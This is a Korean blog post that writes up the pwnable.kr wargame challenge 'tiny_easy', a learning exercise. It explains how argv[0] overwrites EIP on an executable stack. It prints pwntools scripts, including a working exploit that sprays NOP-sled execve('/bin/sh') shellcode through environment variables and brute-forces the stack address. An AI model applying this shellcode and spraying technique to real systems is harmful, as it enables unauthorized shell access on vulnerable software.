Pwnstar

Pwnable.kr tiny_easy 본문

Pwnable.kr/Rookiss

Pwnable.kr tiny_easy

포너블처돌이 2020. 6. 25. 12:47

 

tiny_easy 아마 1월?? 쯤에 풀었던 문제인데 그 당시 대체 무슨 문제인지 감도 못잡다가 거의 일주일만에 그것도 도움을 받아서 간신히 푼 문제이다.

 

 

우선 보호기법은 보다시피 NX bit 가 걸려있어서 쉘코드를 실행시키지 못할 것처럼 보인다 그런데 스택 영역의 권한을 보면,

 

stack 영역에 모든 권한이 다 주어져있다. 정말 웃기는 문제이다.

 

아무튼 이제 무슨 문제인지 대충 보려고 실행시켜보았는데,

실행시키자마자 중지된다. 이게 대체 왜 이런건지 코어파일을 뜯어봤는데,

 

eip가 음...뭔가 아스키코드 같은 값으로 덮여있다. 이 값이 뭔지 찾아봐야했다.

 

스택을 뒤지던 도중,

보니까 저 빨간 화살표가 있는 부분과 같다.

 

 

아 보니까 환경변수가 들어가는 공간이다...

 

저 부분을 보고 들었던 생각이

 

그러면 소프크 링크를 통해 ./tiny_easy를 쉘코드로 바꾸면 가능하지 않을까...? 였다. 그래서 한 번 시도해봤다.

 

 

이런 식으로 만드는 데에 성공했는데..

이걸 실행시켜도 쉘이 뜨지 않았다.

 

이것 저것 해보다가 eip를 덮을 수 있는 방법을 찾았다. pwntools로 인자(argv)를 전달해주는 방법인데 이 방법으로 원하는 값을 argv(0)으로 넘겨준다면 이 값이 eip가 되는 것을 확인할 수 있었다.

 

from pwn import*

argv_ = ['\x41\x41\x41\x41']

p = process(executable = "./tiny_easy", argv=argv_)

p.interactive()

 

이런식으로 할 수 있는데 이 코드를 실행시켜서 얻은 코어파일을 보면

eip가 AAAA로 바뀌어있다.

 

여기까지 오는데 일주일 가까이 걸렸다.

 

이 이후에 방법을 찾지 못해 도움을 받았는데 조금 더 생각해봤더라면 풀 수 있었지 않았나 싶다...

 

환경변수로 nop과 쉘코드를 무수히 많이 올린 뒤, 스택의 주소가 될만한 값을 argv로 넘겨준다면 쉘이 획득된다.

 

이 방법을 사용해보자. 주소는 위 스택의 값으로 했다.

 

ex.py

from pwn import*

payload =  "\x90" * 1000 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
env_ = {}
argv_ = [p32(0xffa6c80e)]

for i in range(0, 1000):
    env_[str(i)] = payload

for i in range(0, 1000):
    p = process(executable = "./tiny_easy", argv=argv_, env=env_)

    try:
        p.sendline("id")
        p.recv(100)
    except:
        print("trial " + str(i))
        continue
    p.interactive()

 

실행해보면

 

 

로컬에서 성공적으로 쉘을 획득했다.

 

이제 서버 내에서 돌려보자

 

서버 내에서는 스택의 주소가 조금 달라서 그 부분만 살짝 수정했다.

 

 

바로 성공했다.

'Pwnable.kr > Rookiss' 카테고리의 다른 글

Pwnable.kr syscall  (0) 2020.07.22
Pwnable.kr fsb  (0) 2020.06.25
Pwnable.kr dragon  (0) 2020.06.16
Pwnable.kr ascii_easy  (0) 2020.06.16
Pwnable.kr md5 calulator  (0) 2020.06.16
Comments